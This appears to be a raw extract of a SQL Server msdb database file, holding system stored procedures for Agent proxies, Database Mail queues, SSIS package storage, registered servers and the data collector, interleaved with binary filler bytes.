!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!A
Il
`<#MX
&0gw@ R8
CREATE PROCEDURE dbo.sp_add_proxy
   @proxy_name [sysname],
   @enabled [tinyint] = 1,
   @description [nvarchar](512) = NULL,
   @credential_name [sysname] = NULL,
  @credential_id [INT] = NULL,
   @proxy_id [int] = NULL OUTPUT
AS
BEGIN
  DECLARE @retval INT
  DECLARE @full_name NVARCHAR(257) --two sysnames + \
  DECLARE @user_sid VARBINARY(85)
  DECLARE @cred_date_time DATETIME
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @proxy_name                = LTRIM(RTRIM(@proxy_name))
  SELECT @description               = LTRIM(RTRIM(@description))

  IF @proxy_name  = ''  SELECT @proxy_name  = NULL
  IF @description = ''  SELECT @description = NULL

  EXECUTE @retval = sp_verify_proxy NULL,
                                    @proxy_name,
                           @enabled,
                           @description

  IF (@retval <> 0)
     RETURN(1) -- Failure

   EXECUTE @retval = sp_verify_credential_identifiers '@credential_name',
                                                  '@credential_id',
                                                   @credential_name OUTPUT,
                                                   @credential_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure
  -- warn if the user_domain\user_name does not exist
  SELECT @full_name = credential_identity, @cred_date_time = create_date from master.sys.credentials 
  WHERE  credential_id = @credential_id
  --force case insensitive comparation for NT users
  SELECT @user_sid = SUSER_SID(@full_name,0)
  IF @user_sid IS NULL
  BEGIN
    RAISERROR(14529, -1, -1, @full_name)
    RETURN(1)
  END

  -- Finally, do the actual INSERT
  INSERT INTO msdb.dbo.sysproxies
   (
      name,
    credential_id,
      enabled,
      description,
    user_sid,
    credential_date_created
   )
   VALUES
   (
      @proxy_name,
    @credential_id,
      @enabled,
      @description,
    @user_sid,
    @cred_date_time
   )
   
   --get newly created proxy_id;
   SELECT @proxy_id = SCOPE_IDENTITY()
END
0Lx l8CREATE PROCEDURE sysmail_help_queue_sp
   @queue_type nvarchar(6) = NULL -- Type of queue
AS
BEGIN

   SELECT @queue_type       = LTRIM(RTRIM(@queue_type))
   IF @queue_type           = '' SELECT @queue_type = NULL

   IF ( (@queue_type IS NOT NULL) AND
         (LOWER(@queue_type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ( N'mail', N'status') ) )
   BEGIN
        RAISERROR(14266, -1, -1, '@queue_type', 'mail, status')
      RETURN(1) -- Failure
   END   

   DECLARE @depth      int
   DECLARE @temp TABLE (
                        queue_type nvarchar(6),
                        length INT NOT NULL, 
                        state nvarchar(64), 
                        last_empty_rowset_time DATETIME,
                        last_activated_time DATETIME
                       )
  
   IF ( (@queue_type IS NULL) OR (LOWER(@queue_type collate SQL_Latin1_General_CP1_CS_AS) = N'mail' ) )
   BEGIN
      SET @depth = (SELECT COUNT(*) FROM ExternalMailQueue WITH (NOWAIT NOLOCK READUNCOMMITTED))

      INSERT INTO @temp
         SELECT 
                N'mail',
                @depth, 
            qm.state as state,
            qm.last_empty_rowset_time as last_empty_rowset_time,
            qm.last_activated_time as last_activated_time
         FROM sys.dm_broker_queue_monitors qm
         JOIN sys.service_queues sq ON sq.object_id = qm.queue_id
         WHERE sq.name = 'ExternalMailQueue'
   END

   IF ( (@queue_type IS NULL) OR (LOWER(@queue_type collate SQL_Latin1_General_CP1_CS_AS) = N'status' ) )
   BEGIN
      SET @depth = (SELECT COUNT(*) FROM InternalMailQueue WITH (NOWAIT NOLOCK READUNCOMMITTED))

      INSERT INTO @temp
         SELECT 
                N'status',
                @depth, 
            qm.state as state,
            qm.last_empty_rowset_time as last_empty_rowset_time,
            qm.last_activated_time as last_activated_time
         FROM sys.dm_broker_queue_monitors qm
         JOIN sys.service_queues sq ON sq.object_id = qm.queue_id
         WHERE sq.name = 'InternalMailQueue'
   END

   SELECT * from @temp
END
0vIx D8	hh#0"w 8CREATE PROCEDURE [dbo].[sp_ssis_deletepackage]
  @name sysname,
  @folderid uniqueidentifier
AS
  DECLARE @sid varbinary(85)
  DECLARE @writerolesid varbinary(85)
  DECLARE @writerole nvarchar(128)
  SELECT
      @sid = [ownersid],
      @writerolesid = [writerolesid]
  FROM
      sysssispackages
  WHERE
      [name] = @name AND
      [folderid] = @folderid
  IF @sid IS NOT NULL
  BEGIN
      --// The row exists, check security
      IF @writerolesid IS NOT NULL
      BEGIN
          SELECT @writerole = [name] FROM sys.database_principals WHERE [type] = 'R' AND [sid] = @writerolesid
          IF @writerole IS NULL SET @writerole = 'db_ssisadmin'
      END
      IF @writerole IS NULL
      BEGIN
          IF (IS_MEMBER('db_ssisadmin')<>1) AND (IS_SRVROLEMEMBER('sysadmin')<>1)
          BEGIN
              IF (@sid<>SUSER_SID()) OR (IS_MEMBER('db_ssisltduser')<>1)
              BEGIN
                  RAISERROR (14307, -1, -1, @name)
                  RETURN 1  -- Failure
              END
          END
      END
      ELSE
      BEGIN
          -- If writerrole is set for this package, 
          -- Allow sysadmins and the members of writer role to delete this package
          IF (IS_MEMBER(@writerole)<>1)  AND (IS_SRVROLEMEMBER('sysadmin')<>1)
          BEGIN
              IF (@sid<>SUSER_SID()) OR (IS_MEMBER('db_ssisltduser')<>1)
              BEGIN
                  RAISERROR (14307, -1, -1, @name)
                  RETURN 1  -- Failure
              END
          END
      END
  END
  DELETE FROM sysssispackages
  WHERE
      [name] = @name AND
      [folderid] = @folderid
0w 8CREATE PROCEDURE [dbo].[sp_sysmanagement_update_shared_registered_server]
    @server_id INT,
    @server_name sysname = NULL,
    @description NVARCHAR(2048) = NULL
AS
BEGIN
    IF (@server_id IS NULL)
    BEGIN
        RAISERROR (35006, -1, -1)
        RETURN(1)
    END
    
    IF NOT EXISTS (SELECT * FROM [msdb].[dbo].[sysmanagement_shared_registered_servers_internal] WHERE server_id = @server_id)
    BEGIN
        RAISERROR (35007, -1, -1)
        RETURN(1)
    END

    IF (@server_name IS NULL)
    BEGIN
        SET @server_name = (select server_name FROM [msdb].[dbo].[sysmanagement_shared_registered_servers_internal] WHERE server_id = @server_id)
    END

    set @server_name = LTRIM(@server_name)
    set @server_name = RTRIM(@server_name)

    -- Disallow relative names
    IF ('.' = @server_name) OR
        (1 = CHARINDEX(N'.\', @server_name)) OR
        (1 = CHARINDEX(N'LOCALHOST\', UPPER(@server_name collate SQL_Latin1_General_CP1_CS_AS))) OR
        (UPPER(@server_name collate SQL_Latin1_General_CP1_CS_AS) = 'LOCALHOST') OR
        (UPPER(@server_name collate SQL_Latin1_General_CP1_CS_AS) = '(LOCAL)')
    BEGIN
        RAISERROR (35011, -1, -1)
        RETURN (1)
    END

    IF (UPPER(@@SERVERNAME collate SQL_Latin1_General_CP1_CS_AS) = UPPER(@server_name collate SQL_Latin1_General_CP1_CS_AS))
    BEGIN
        RAISERROR (35012, -1, -1)
        RETURN (1)
    END

    UPDATE [msdb].[dbo].[sysmanagement_shared_registered_servers_internal]
        SET server_name = ISNULL(@server_name, server_name),
            description = ISNULL(@description, description)
    WHERE
        server_id = @server_id
    RETURN (0)
END
0w %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!b`<j
$.0X{ 

8CREATE PROCEDURE [dbo].[sp_ssis_putpackage]
  @name sysname,
  @id uniqueidentifier,
  @description nvarchar(1024),
  @createdate datetime,
  @folderid uniqueidentifier,
  @packagedata image,
  @packageformat int,
  @packagetype int,
  @vermajor int,
  @verminor int,
  @verbuild int,
  @vercomments nvarchar(1024),
  @verid uniqueidentifier
AS
  SET NOCOUNT ON
  DECLARE @sid varbinary(85)
  DECLARE @writerolesid varbinary(85)
  DECLARE @writerole nvarchar(128)
  --// Determine if we should INSERT or UPDATE
  SELECT @sid = [ownersid], @writerolesid = [writerolesid] FROM sysssispackages WHERE [name] = @name AND [folderid] = @folderid
  IF @sid IS NOT NULL
  BEGIN
      --// The row exists, check security
      IF @writerolesid IS NOT NULL
      BEGIN
          SELECT @writerole = [name] FROM sys.database_principals WHERE [type] = 'R' AND [sid] = @writerolesid
          IF @writerole IS NULL SET @writerole = 'db_ssisadmin'
      END
      IF @writerole IS NULL
      BEGIN
          IF (IS_MEMBER('db_ssisadmin')<>1) AND (IS_SRVROLEMEMBER('sysadmin')<>1)
          BEGIN
              IF (@sid<>SUSER_SID()) OR (IS_MEMBER('db_ssisltduser')<>1)
              BEGIN
                  RAISERROR (14307, -1, -1, @name)
                  RETURN 1  -- Failure
              END
          END
      END
      ELSE
      BEGIN
          IF (IS_MEMBER(@writerole)<>1) AND (IS_MEMBER('db_ssisadmin')<>1) AND (IS_SRVROLEMEMBER('sysadmin')<>1)
          BEGIN
              IF (@sid<>SUSER_SID()) OR (IS_MEMBER('db_ssisltduser')<>1)
              BEGIN
                  RAISERROR (14307, -1, -1, @name)
                  RETURN 1  -- Failure
              END
          END
      END
      --// Security check passed, UPDATE now
      UPDATE sysssispackages
      SET
          id = @id,
          description = @description,
          createdate = @createdate,
          packagedata = @packagedata,
          packageformat = @packageformat,
          packagetype = @packagetype,
          vermajor = @vermajor,
          verminor = @verminor,
          verbuild = @verbuild,
          vercomments = @vercomments,
          verid = @verid
      WHERE
          name = @name AND folderid = @folderid
  END
  ELSE
  BEGIN
      --// The row does not exist, check security
      IF (IS_MEMBER('db_ssisltduser')<>1) AND (IS_MEMBER('db_ssisadmin')<>1) AND (IS_SRVROLEMEMBER('sysadmin')<>1)
      BEGIN
          RAISERROR (14307, -1, -1, @name)
          RETURN 1  -- Failure
      END
      --// Security check passed, INSERT now
      INSERT INTO sysssispackages (
          name,
          id,
          description,
          createdate,
          folderid,
          ownersid,
          packagedata,
          packageformat,
          packagetype,
          vermajor,
          verminor,
          verbuild,
          vercomments,
          verid )
      VALUES (
          @name,
          @id,
          @description,
          @createdate,
          @folderid,
          SUSER_SID(),
          @packagedata,
          @packageformat,
          @packagetype,
          @vermajor,
          @verminor,
          @verbuild,
          @vercomments,
          @verid )
  END
  RETURN 0    -- SUCCESS
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`&<%JfM00) D8,!h"0?C %8((0))0. l8CREATE PROCEDURE [dbo].[sp_syscollector_set_cache_window]
    @cache_window                    int = 1
AS
BEGIN
    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_admin')
        RETURN(1) -- Failure
    END

    -- Check if the collector is disabled
    DECLARE @retVal int
    EXEC @retVal = [dbo].[sp_syscollector_verify_collector_state] @desired_state = 0
    IF (@retVal <> 0)
        RETURN (1)

    IF (@cache_window < -1)
    BEGIN
        RAISERROR(14687, -1, -1, @cache_window)
        RETURN(1)
    END

    UPDATE [msdb].[dbo].[syscollector_config_store_internal]
    SET parameter_value = @cache_window
    WHERE parameter_name = N'CacheWindow'

    RETURN (0)
END
0$ 8CREATE VIEW [dbo].[syspolicy_conditions]
AS
    SELECT
        c.condition_id, c.name, c.date_created, c.description, c.created_by, 
        c.modified_by, c.date_modified, c.is_name_condition, mf.name AS facet, c.expression, c.obj_name, c.is_system 
    FROM [dbo].[syspolicy_conditions_internal] c 
    LEFT OUTER JOIN [dbo].[syspolicy_management_facets] mf ON c.facet_id = mf.management_facet_id
0> 8CREATE FUNCTION [dbo].[fn_sysdac_get_currentusername]()
RETURNS sysname
BEGIN
    DECLARE @engineEdition int;
    DECLARE @current_user_name sysname;

    SET @engineEdition = CAST(SERVERPROPERTY('EngineEdition') AS int);

    IF (@engineEdition = 5)
    BEGIN 
        --SQL Azure does not have SUSER_SNAME. We need to look in sql_logins to get the user name.
        SELECT @current_user_name = dbo.fn_sysdac_get_username(SUSER_SID()) 
    END ELSE
    BEGIN
        --OnPremise engine has both sql and windows logins - We rely on SUSER_SNAME to find the current user name.
        SELECT @current_user_name = SUSER_SNAME()
    END

    RETURN @current_user_name;
END
04k 58(sysdatetimeoffset())!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!